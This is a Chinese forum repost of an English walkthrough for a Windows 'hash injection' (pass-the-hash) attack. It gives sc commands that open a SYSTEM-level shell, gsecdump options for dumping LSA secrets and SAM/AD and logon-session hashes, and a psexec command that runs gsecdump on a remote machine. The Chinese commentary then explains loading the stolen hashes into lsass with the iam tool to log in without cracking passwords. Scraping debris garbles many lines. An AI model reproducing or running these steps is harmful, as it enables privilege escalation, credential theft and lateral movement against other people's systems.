HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
& x- P# X5 U# h8 ?1 V/ D[SC] CreateService SUCCESS

1 a/ L$ G1 F1 ~) pC:\>sc start shellcmdline
[SC] StartService FAILED 1053:
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2 x" V  ?# B! ~; s% }The service did not respond to the start or control request in a timely fashion.
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C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
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Then in the new DOS window:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

2 \1 r2 X. {2 Y& iC:\WINDOWS\system32>whoami
3 }$ M7 h9 c& ]- _, U  uNT AUTHORITY\SYSTEM
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4 u) A, i2 K8 a9 M/ a( hC:\WINDOWS\system32>gsecdump -h
. i- L. G% j2 Ngsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]
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% U( j( r+ U7 o+ foptions:
' m* S# y# @/ {, _-h [ --help ] show help
1 i% A2 s/ J" P# R/ ]: d* J-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:
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PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
1 |+ B; v8 @5 `Sysinternals - 链接标记[url]www.sysinternals.com[/url]
* `9 i' U" k$ d" t
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
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to get the hashes from active logon sessions of a remote system.

2 Q9 f' B! Y$ c2 ~These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
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9 f) ?2 k* \7 ]5 @提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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( Q+ D; C2 D3 F* b- e我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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